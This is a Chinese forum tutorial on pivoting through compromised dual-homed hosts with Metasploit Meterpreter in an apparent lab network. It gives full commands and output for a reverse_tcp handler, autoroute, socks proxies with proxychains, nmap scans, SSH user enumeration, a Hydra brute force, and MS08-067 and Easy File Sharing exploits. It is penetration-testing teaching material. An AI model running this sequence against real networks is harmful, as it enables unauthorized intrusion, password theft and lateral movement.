搜索
查看: 938|回复: 1

图解Meterpreter实现网络穿透的方法

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-2-4 14:36:31 | 显示全部楼层 |阅读模式

纵深防御也被被称之为“多层防御”,这样的概念被运用于“信息安全”上。以多层电脑安全技术去减轻其风险,在其中有些电脑被入侵或是泄密时,风险可以大大降低。举例来说,防毒软件被安装于个人工作站上,电脑中病毒在防火墙与服务器等其它类似环境中被拦劫下来。在信息技术世界中占据着举足轻重的地位。本文我们将通过示例分析攻击者是如何运用各种方法进行网络穿透的。        

何谓路由

确定设备如何在不同网络之间相互传输的过程,也即通过互联的网络把信息从源地址传输到目的地址的活动被称之为路由。通常用于执行路由活动的设备被称为路由器。通过使用路由表,路由器则规划网络包到各自目的地的线路。路由的功能不仅仅是诸如路由器等网络设备能够完成,在安装有该功能的任意计算机系统也能够完成。

[/url]

根据上图例子所示,为了在192.168.1.0/24与192.168.10.0/24网络之间进行通信是需要一个路由表记录的。根据路由器中的规则定义,数据需要从192.168.1.0/24源网络发到192.168.10.0/24目的网络中去。网络数据包大概会经历如下过程:

[url=http://image.3001.net/images/20170120/14848817849919.png]   

何谓Pivoting

基本上可以概括为,在正常情况下仅仅只是通过利用被控制的计算机我们可能依旧无法进行网络访问。假设一台被控制的计算机连接有多个网络,将其作为我们的跳板,那么网络隔离的手段对我们来说就形同虚设。跟着这个思路,攻击者在被控制的跳板主机上执行路由操作,进而访问隐藏的网络。对新发现网络发起的每个请求都会通过中间的双网卡跳板传输,形象化一点说来就像是洞子一般。

[/url]

就如上面所示的拓扑图,设备有两张网卡可访问192.168.1.0/24以及192.168.10.0/24两个网络。在正常情况下,这两个网络之间是不能相互访问的,除非有定义路由规则。根据该结构,授权用户(使用两张网卡的计算机)可访问DMZ区内的一些服务。

拿下第一层双网卡中转跳板及端口转发

根据我们的攻击场景,先拿下命名为RD的主机然后获取到的meterpreter shell,RD能连接到DMZ网络。随后,在信息收集过程中确定了目标有两张网卡。注意:环境中的路由器在两个网络之间并没有联通。

[url=http://image.3001.net/images/20170116/14845369228210.png]

  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  3. payload => windows/meterpreter/reverse_tcp
  4. msf exploit(handler) > set LHOST 172.16.0.20
  5. LHOST => 172.16.0.20
  6. msf exploit(handler) > set LPORT 1234
  7. LPORT => 1234
  8. msf exploit(handler) > run
  9. [*] Started reverse TCP handler on 172.16.0.20:1234
  10. [*] Starting the payload handler...
  11. [*] Sending stage (957487 bytes) to 172.16.0.11
  12. [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)
  13. meterpreter > ifconfig
  14. Interface  1
  15. ============
  16. Name         : Software Loopback Interface 1
  17. Hardware MAC : 00:00:00:00:00:00
  18. MTU          : 4294967295
  19. IPv4 Address : 127.0.0.1
  20. IPv4 Netmask : 255.0.0.0
  21. IPv6 Address : ::1
  22. IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
  23. Interface 11
  24. ============
  25. Name         : Intel(R) PRO/1000 MT Desktop Adapter
  26. Hardware MAC : 08:00:27:e1:3f:af
  27. MTU          : 1500
  28. IPv4 Address : 172.16.0.11
  29. IPv4 Netmask : 255.255.255.0
  30. Interface 19
  31. ============
  32. Name         : Intel(R) PRO/1000 MT Desktop Adapter #2
  33. Hardware MAC : 08:00:27:7f:3c:fe
  34. MTU          : 1500
  35. IPv4 Address : 7.7.7.11
  36. IPv4 Netmask : 255.255.255.0
复制代码

在我们设计的这个场景中,获得RD系统访问权限的攻击者将会使用第二张网卡(7.7.7.0/24)访问网络。在执行这项操作之前,攻击者必须先在RD中定义路由规则。

在Metasploit中可以轻松完成这项任务,在当前meterpreter会话下键入以下命令可创建路由规则:

  1. meterpreter > run autoroute -s 7.7.7.0/24
  2. [*] Adding a route to 7.7.7.0/255.255.255.0...
  3. [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11
  4. [*] Use the -p option to list all active routes
  5. meterpreter > run autoroute -p
  6. Active Routing Table
  7. ====================
  8. Subnet Netmask Gateway
  9. ------ ------- -------
  10. 7.7.7.0 255.255.255.0 Session 2
  11. meterpreter >
复制代码

根据定义的路由规则,只要meterpreter ID值为2的会话在运行,那么在Metasploit框架中就可以访问7.7.7.0/24网络。   
这一步骤之后,使用类似arp_scanner的端口模块就能检测到JC系统的IP地址。JC为7.7.7.20内网中的另一台计算机。

  1. meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24
  2. [*] Running module against DISCORDIA
  3. [*] ARP Scanning 7.7.7.0/24
  4. [*]     IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS)
  5. [*]     IP  7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS)
  6. [*]     IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS)
  7. [*]     IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS)
  8. meterpreter >
复制代码

在7.7.7.0/24网络中存活系统的IP地址,包括命名为JC的系统主机,都已经检测到了。   
[/url]

自然而然的,我们想到了以下问题:诸如arp_scanner的端口模块对这类扫描工作可能存在着不足之处,那么nmap风格的扫描工具是否能登场呢?

通过中转跳板进行Nmap扫描

对此必须在Metasploit中激活路由配置,并且该配置必须能够通过socks4代理进行转发。这里有一个metasploit模块刚好满足以上需求。

使用metasploit的socks4代理模块:

  1. meterpreter > background
  2. [*] Backgrounding session 2...
  3. msf > use auxiliary/server/socks4a
  4. msf auxiliary(socks4a) > show options
  5. Module options (auxiliary/server/socks4a):
  6.    Name     Current Setting  Required  Description
  7.    ----     ---------------  --------  -----------
  8.    SRVHOST  0.0.0.0          yes       The address to listen on
  9.    SRVPORT  1080             yes       The port to listen on.
  10. Auxiliary action:
  11.    Name   Description
  12.    ----   -----------
  13.    Proxy  
  14. msf auxiliary(socks4a) > set srvhost 172.16.0.20
  15. srvhost => 172.16.0.20
  16. msf auxiliary(socks4a) > run
  17. [*] Auxiliary module execution completed
  18. [*] Starting the socks4a proxy server
  19. msf auxiliary(socks4a) > netstat -antp | grep 1080
  20. [*] exec: netstat -antp | grep 1080
  21. tcp        0      172.16.0.20:1080            0.0.0.0:*               LISTEN      3626/ruby      
  22. msf auxiliary(socks4a) >
复制代码

ProxyChains是为GNU\Linux操作系统而开发的工具,任何TCP连接都可以通过TOR或者SOCKS4, SOCKS5, HTTP / HTTPS路由到目的地。在这个通道技术中可以使用多个代理服务器。除此之外提供匿名方式,诸如用于中转跳板的应用程序也可以用于对发现的新网络进行直接通信。

[url=http://image.3001.net/images/20170116/14845369546623.png]

用文本编辑器打开/etc/proxychains.conf,在文件的最后一行添加新创建的socks4代理服务器

  1. --- snippet ---
  2. [ProxyList]
  3. # add proxy here ...
  4. # meanwile
  5. # defaults set to "tor"
  6. #socks4  127.0.0.1 9050
  7. socks4  172.16.0.20 1080
复制代码

使用proxychains执行nmap扫描任务非常简单,网络数据包将会通过定义的代理发送到目的地。

  1. root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20
  2. ProxyChains-3.1 (http://proxychains.sf.net)
  3. Starting Nmap 7.25BETA1 ( https://nmap.org )
  4. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
  5. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK
  6. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
  7. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
  8. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
  9. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
  10. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
  11. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
  12. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
  13. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
  14. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
  15. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
  16. Nmap scan report for 7.7.7.20
  17. Host is up (0.17s latency).
  18. PORT     STATE    SERVICE      VERSION
  19. 22/tcp   open     ssh          Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)
  20. 80/tcp   closed   http         Easy File Sharing Web Server httpd 6.9
  21. 135/tcp  open     msrpc        Microsoft Windows RPC
  22. 139/tcp  open     netbios-ssn  Microsoft Windows netbios-ssn
  23. 445/tcp  open     microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
  24. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
  25. Host script results:
  26. | smb-vuln-ms08-067:
  27. |   VULNERABLE:
  28. |   Microsoft Windows system vulnerable to remote code execution (MS08-067)
  29. |     State: VULNERABLE
  30. |     IDs: CVE:CVE-2008-4250
  31. |          The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
  32. |          Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
  33. |          code via a crafted RPC request that triggers the overflow during path canonicalization.
  34. |
  35. |     Disclosure date: 2008-10-23
  36. |     References:
  37. |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
  38. |_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
  39. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  40. Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds
  41. root@kali:~#
复制代码

根据扫描的结果,目标系统中运行着SSH以及HTTP服务。在进一步利用之前,我们还将涉及另一种被称之为端口转发的通信路由(traffic routing)技术。

端口转发

端口转发是实现中转跳板的基本步骤,目前还无法直接访问到隐藏网络中的服务,这是因为没有建立双向路由。我们知道如何到达目标系统,所以可以发起请求。但这个请求会失败,这是因为目标系统不知道如何到达我们这边。

[/url]

基于这个原因,我们可以通过定义meterpreter会话在我们的本地开启一个端口,将本地数据包发送到目的地。只要进程存活,路由就会一直工作。

再此须谨记,run autoroute命令建立的路由仅在Metasploit框架下有效,我们也可以尝试使用kali工具实现目的,这里我们就要借助类似端口转发的工具或是proxychains。

使用portfwd模块(Metasploit中的一个post模块)可完成端口转发


当我们在浏览器中向本地2323端口发送一个链接请求时,该连接请求将会转发到IP地址为7.7.7.20的计算机的80端口。   
得益于ProxyChains和Nmap,早先我们就已经确定了web服务运行在7.7.7.20的80端口。为了访问这个服务,本地系统的2323端口将被转发到7.7.7.20的80端口

  1. meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20
  2. [*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80
  3. meterpreter >
复制代码

通过portfwd list命令可以查看当前活跃的端口转发规则:

  1. meterpreter > portfwd list
  2. Active Port Forwards
  3. ====================
  4.    Index  Local             Remote       Direction
  5.    -----  -----             ------       ---------
  6.    1      172.16.0.20:2323  7.7.7.20:80  Forward
  7. 1 total active port forwards.
  8. meterpreter >
复制代码

检测到IP地址为7.7.7.20目标系统的80端口上运行着名为Eash File Sharing Web Server的应用

[url=http://image.3001.net/images/20170116/14845369865399.png]

通过中转跳板进行SSH暴力破解

正如你看到的,我们检测到的7.7.7.20上有一个ssh服务。对该服务进行暴力破解十分简便。我们可以使用SSH_enumusers这个辅助模块来完成这项工作:

  1. msf > use auxiliary/scanner/ssh/ssh_enumusers
  2. msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20
  3. rhosts => 7.7.7.20
  4. msf auxiliary(ssh_enumusers) > set rport 22
  5. rport => 22
  6. msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
  7. user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
  8. msf auxiliary(ssh_enumusers) > run
  9. [*] 7.7.7.20:22 - SSH - Checking for false positives
  10. [*] 7.7.7.20:22 - SSH - Starting scan
  11. [+] 7.7.7.20:22 - SSH - User 'admin' found
  12. [-] 7.7.7.20:22 - SSH - User 'root' not found
  13. [-] 7.7.7.20:22 - SSH - User 'Administrator' not found
  14. [+] 7.7.7.20:22 - SSH - User 'sysadm' found
  15. [-] 7.7.7.20:22 - SSH - User 'tech' not found
  16. [-] 7.7.7.20:22 - SSH - User 'operator' not found
  17. [+] 7.7.7.20:22 - SSH - User 'guest' found
  18. [-] 7.7.7.20:22 - SSH - User 'security' not found
  19. [-] 7.7.7.20:22 - SSH - User 'debug' not found
  20. [+] 7.7.7.20:22 - SSH - User 'manager' found
  21. [-] 7.7.7.20:22 - SSH - User 'service' not found
  22. [-] 7.7.7.20:22 - SSH - User '!root' not found
  23. [+] 7.7.7.20:22 - SSH - User 'user' found
  24. [-] 7.7.7.20:22 - SSH - User 'netman' not found
  25. [+] 7.7.7.20:22 - SSH - User 'super' found
  26. [-] 7.7.7.20:22 - SSH - User 'diag' not found
  27. [+] 7.7.7.20:22 - SSH - User 'Cisco' found
  28. [-] 7.7.7.20:22 - SSH - User 'Manager' not found
  29. [+] 7.7.7.20:22 - SSH - User 'DTA' found
  30. [-] 7.7.7.20:22 - SSH - User 'apc' not found
  31. [+] 7.7.7.20:22 - SSH - User 'User' found
  32. [-] 7.7.7.20:22 - SSH - User 'Admin' not found
  33. [+] 7.7.7.20:22 - SSH - User 'cablecom' found
  34. [-] 7.7.7.20:22 - SSH - User 'adm' not found
  35. [+] 7.7.7.20:22 - SSH - User 'wradmin' found
  36. [-] 7.7.7.20:22 - SSH - User 'netscreen' not found
  37. [+] 7.7.7.20:22 - SSH - User 'sa' found
  38. [-] 7.7.7.20:22 - SSH - User 'setup' not found
  39. [+] 7.7.7.20:22 - SSH - User 'cmaker' found
  40. [-] 7.7.7.20:22 - SSH - User 'enable' not found
  41. [+] 7.7.7.20:22 - SSH - User 'MICRO' found
  42. [-] 7.7.7.20:22 - SSH - User 'login' not found
  43. [*] Caught interrupt from the console...
  44. [*] Auxiliary module execution completed
  45. ^C
  46. msf auxiliary(ssh_enumusers) >
复制代码

除了Metasploit框架中的辅助模块外,Kali工具包中的Hydra也可以完成这项任务。通过在ProxyChains下运行Hydra,所有的通信数据将会通过被控制的主机(双网卡主机)传送到目标系统上。

  1. root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4
  2. ProxyChains-3.1 (http://proxychains.sf.net)
  3. Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
  4. Hydra (http://www.thc.org/thc-hydra) starting
  5. [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
  6. [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task
  7. [DATA] attacking service ssh on port 22
  8. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
  9. |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
  10. <><>-OK
  11. <><>-OK
  12. <><>-OK
  13. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
  14. [22][ssh] host: 7.7.7.20   login: admin   password: 123456
  15. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
  16. <><>-OK
  17. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
  18. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
  19. 1 of 1 target successfully completed, 1 valid password found
  20. Hydra (http://www.thc.org/thc-hydra) finished
  21. root@kali:~#
复制代码

使用Hydra执行brute-force攻击,我们获得代理服务器的用户名为admin,密码为123456。同时使用ProxyChains工具可以连接到远程的SSH服务

  1. root@kali:~# proxychains ssh admin@7.7.7.20
  2. ProxyChains-3.1 (http://proxychains.sf.net)
  3. |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
  4. The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established.
  5. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ.
  6. Are you sure you want to continue connecting (yes/no)? yes
  7. Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts.
  8. admin@7.7.7.20's password:
  9. bvshell:/C/Documents and Settings/All Users$ pwd
  10. /C/Documents and Settings/All Users
  11. bvshell:/C/Documents and Settings/All Users$ dir
  12. 2016-12-24  21:32          <DIR> Application Data
  13. 2016-12-25  06:16          <DIR> Desktop
  14. 2016-12-24  18:36          <DIR> Documents
  15. 2016-12-24  18:37          <DIR> DRM
  16. 2016-12-24  21:32          <DIR> Favorites
  17. 2016-12-24  18:38          <DIR> Start Menu
  18. 2016-12-24  21:32          <DIR> Templates
  19.       0 Files                  0 bytes
  20.       7 Directories
  21. bvshell:/C/Documents and Settings/All Users$
复制代码

获取第二层中转跳板的访问

如果你还记得,我们之前使用nmap扫描7.7.7.0/24找到了两个漏洞。一个是MS08-067,另一个是Easy File Share应用中的BOF漏洞,这两个方向都能让我们访问到目标主机。当然还有一个选择便是继续使用上面获取到的ssh进行访问,但这里我们选择以上两个方向。

MS08-067搭配Bind TCP

该模块的完整路径为exploit/windows/smb/ms08_067_netapi,在Metasploit框架下利用MS08-067漏洞攻击目标系统。由于没有定义双向路由,目标系统无法直接到达我们的计算机,为此需要将bind_tcp设置为payload类型。在exploit操作成功之后,就将要对连接到目标系统的端口进行监听。bind_tcp和reverse_tcp的区别如下图:

[/url]

完整设置如下:

  1. msf > use exploit/windows/smb/ms08_067_netapi
  2. msf exploit(ms08_067_netapi) > show options
  3. Module options (exploit/windows/smb/ms08_067_netapi):
  4.    Name     Current Setting  Required  Description
  5.    ----     ---------------  --------  -----------
  6.    RHOST                     yes       The target address
  7.    RPORT    445              yes       The SMB service port
  8.    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
  9. Exploit target:
  10.    Id  Name
  11.    --  ----
  12.    0   Automatic Targeting
  13. msf exploit(ms08_067_netapi) > set rhost 7.7.7.20
  14. rhost => 7.7.7.20
  15. msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
  16. payload => windows/meterpreter/bind_tcp
  17. msf exploit(ms08_067_netapi) > show options
  18. Module options (exploit/windows/smb/ms08_067_netapi):
  19.    Name     Current Setting  Required  Description
  20.    ----     ---------------  --------  -----------
  21.    RHOST    7.7.7.20         yes       The target address
  22.    RPORT    445              yes       The SMB service port
  23.    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
  24. Payload options (windows/meterpreter/bind_tcp):
  25.    Name      Current Setting  Required  Description
  26.    ----      ---------------  --------  -----------
  27.    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  28.    LPORT     4444             yes       The listen port
  29.    RHOST     7.7.7.20         no        The target address
  30. Exploit target:
  31.    Id  Name
  32.    --  ----
  33.    0   Automatic Targeting
  34. msf exploit(ms08_067_netapi) > run
  35. [*] Started bind handler
  36. [*] 7.7.7.20:445 - Automatically detecting the target...
  37. [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
  38. [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English
  39. [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX)
  40. [*] 7.7.7.20:445 - Attempting to trigger the vulnerability...
  41. [*] Sending stage (957999 bytes) to 7.7.7.20
  42. [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)
  43. meterpreter >
复制代码

Easy File Share应用的BoF漏洞

另一个漏洞就是有关于Easy File Share应用的了。可通过以下步骤进行设置

  1. msf  > use exploit/windows/http/easyfilesharing_seh
  2. msf exploit(easyfilesharing_seh) > show options
  3. Module options (exploit/windows/http/easyfilesharing_seh):
  4.    Name   Current Setting  Required  Description
  5.    ----   ---------------  --------  -----------
  6.    RHOST                   yes       The target address
  7.    RPORT  80               yes       The target port
  8. Exploit target:
  9.    Id  Name
  10.    --  ----
  11.    0   Easy File Sharing 7.2 HTTP
  12. msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20
  13. rhost => 7.7.7.20
  14. msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp
  15. payload => windows/meterpreter/bind_tcp
  16. msf exploit(easyfilesharing_seh) > run
  17. [*] Started bind handler
  18. [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit...
  19. [+] 7.7.7.20:80 - Exploit Sent
  20. [*] Sending stage (957999 bytes) to 7.7.7.20
  21. [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300
  22. meterpreter > ipconfig
  23. Interface  1
  24. ============
  25. Name         : MS TCP Loopback interface
  26. Hardware MAC : 00:00:00:00:00:00
  27. MTU          : 1520
  28. IPv4 Address : 127.0.0.1
  29. Interface 65539
  30. ============
  31. Name         : Intel(R) PRO/1000 MT Desktop Adapter
  32. Hardware MAC : 08:00:27:29:cd:cb
  33. MTU          : 1500
  34. IPv4 Address : 8.8.8.3
  35. IPv4 Netmask : 255.255.255.0
  36. Interface 65540
  37. ============
  38. Name         : Intel(R) PRO/1000 MT Desktop Adapter #2
  39. Hardware MAC : 08:00:27:e3:47:43
  40. MTU          : 1500
  41. IPv4 Address : 7.7.7.20
  42. IPv4 Netmask : 255.255.255.0
  43. meterpreter >
复制代码

攻击流程如下图

[url=http://image.3001.net/images/20170116/14845370267229.png]

由于我们可以访问到7.7.7.20机器,我们需要再次执行信息收集。被命名为JC的机器和RD机器一样有两张网卡,这也意味着我们找到了第二个隐藏网络(8.8.8.0/24)

  1. meterpreter > ipconfig
  2. Interface  1
  3. ============
  4. Name         : MS TCP Loopback interface
  5. Hardware MAC : 00:00:00:00:00:00
  6. MTU          : 1520
  7. IPv4 Address : 127.0.0.1
  8. Interface 65539
  9. ============
  10. Name         : Intel(R) PRO/1000 MT Desktop Adapter
  11. Hardware MAC : 08:00:27:29:cd:cb
  12. MTU          : 1500
  13. IPv4 Address : 8.8.8.3
  14. IPv4 Netmask : 255.255.255.0
  15. Interface 65540
  16. ============
  17. Name         : Intel(R) PRO/1000 MT Desktop Adapter #2
  18. Hardware MAC : 08:00:27:e3:47:43
  19. MTU          : 1500
  20. IPv4 Address : 7.7.7.20
  21. IPv4 Netmask : 255.255.255.0
复制代码

在第二个隐藏网络下执行Arp扫描继续收集信息

  1. meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24
  2. [*] Running module against SRV03
  3. [*] ARP Scanning 8.8.8.0/24
  4. [*]   IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS)
  5. [*]   IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN)
  6. [*]   IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS)
  7. [*]    IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS)
复制代码

ARP扫描结果显示在该网络下存在4台机器

  1. meterpreter > run autoroute -s 8.8.8.0/24
  2. [*] Adding a route to 8.8.8.0/255.255.255.0...
  3. [+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20
  4. [*] Use the -p option to list all active routes
  5. msf > route print
  6. Active Routing Table
  7. ====================
  8. Subnet Netmask Gateway
  9. ------ ------- -------
  10. 7.7.7.0 255.255.255.0 Session 1
  11. 8.8.8.0 255.255.255.0 Session 3
复制代码

之后再次添加路由规则

两层层中转跳板

在JC主机上收集信息时发现了8.8.8.0/24网络,另外之前我们就已经建立了172.16.0.0/24到7.7.7.0/24网络的路由规则。   
在当前的情况下,网络数据包从172.16.0.20发到JC设备(第二层中转跳板),数据首先要发到RD设备(第一层中转跳板),然后RD主机再将数据传送到JC主机。如果攻击者(172.16.0.20)想将数据发送到8.8.8.0/24网络(发现的第二个隐藏网络)的任何一个主机时,就得建立一个新的路由规则。为了使用Metasploit框架以外的其他工具,我们必须运行一个socks4代理服务来连接两个跳板主机,并在proxychains工具的配置文件中重新定义新的代理服务器。

攻击者机器(172.16.0.20)尝试向8.8.8.9发送网络数据包,要经过以下中转:

  • RD:我不知道怎么访问到8.8.8.9,但我知道哪个系统能访问到它,我可以将数据发给它。
  • JC:我知道怎么将数据从7.7.7.0/24网络发送到8.8.8.0/24网络。

数据流如下图所示:

[/url]

神器Proxychains

Proxychains工具负责连接代理服务器以及端对端的传输。在最后阶段,需要为新发现的8.8.8.0/24网络在本地1081端口设置一个新的socks4代理服务。

  1. msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a
  2. msf auxiliary(socks4a) > show options
  3. Module options (auxiliary/server/socks4a):
  4.    Name     Current Setting  Required  Description
  5.    ----     ---------------  --------  -----------
  6.    SRVHOST  172.16.0.20      yes       The address to listen on
  7.    SRVPORT  1080             yes       The port to listen on.
  8. Auxiliary action:
  9.    Name   Description
  10.    ----   -----------
  11.    Proxy  
  12. msf auxiliary(socks4a) > set SRVPORT 1081
  13. SRVPORT => 1081
  14. msf auxiliary(socks4a) > run
  15. [*] Auxiliary module execution completed
  16. [*] Starting the socks4a proxy server
  17. msf auxiliary(socks4a) >
复制代码

在/etc/proxychains.conf配置文件中添加新的代理服务器。通过激活动态链设置,确保在不同的代理服务器之间能够正常切换。

  1. root@kali:~# cat /etc/proxychains.conf | grep -v "#"
  2. dynamic_chain
  3. proxy_dns
  4. tcp_read_time_out 15000
  5. tcp_connect_time_out 8000
  6. socks4  172.16.0.20 1080  # First Pivot
  7. socks4  172.16.0.20 1081  # Second Pivot
复制代码

Proxychains工具通过第二层跳板主机,可以对8.8.8.0/24目标网络进行nmap扫描:

  1. root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vv
  2. ProxyChains-3.1 (http://proxychains.sf.net)
  3. Starting Nmap 7.25BETA1 ( https://nmap.org )
  4. Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).
  5. NSE: Loaded 36 scripts for scanning.
  6. Initiating Connect Scan
  7. Scanning 8.8.8.9 [4 ports]
  8. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
  9. Discovered open port 21/tcp on 8.8.8.9
  10. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
  11. Discovered open port 23/tcp on 8.8.8.9
  12. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
  13. Discovered open port 22/tcp on 8.8.8.9
  14. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
  15. Discovered open port 80/tcp on 8.8.8.9
  16. Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports)
  17. Initiating Service scan at 05:54
  18. Scanning 4 services on 8.8.8.9
  19. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
  20. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
  21. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
  22. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
  23. Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host)
  24. NSE: Script scanning 8.8.8.9.
  25. NSE: Starting runlevel 1 (of 2) scan.
  26. Initiating NSE at 05:54
  27. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
  28. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
  29. Completed NSE at 05:54, 1.71s elapsed
  30. NSE: Starting runlevel 2 (of 2) scan.
  31. Initiating NSE at 05:54
  32. Completed NSE at 05:54, 0.00s elapsed
  33. Nmap scan report for 8.8.8.9
  34. Host is up, received user-set (0.41s latency).
  35. Scanned
  36. PORT   STATE SERVICE REASON  VERSION
  37. 21/tcp open  ftp     syn-ack vsftpd 2.3.4
  38. 22/tcp open  ssh     syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
  39. 23/tcp open  telnet  syn-ack Linux telnetd
  40. 80/tcp open  http    syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2)
  41. Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  42. Read data files from: /usr/bin/../share/nmap
  43. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  44. Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds
  45. root@kali:~#
复制代码

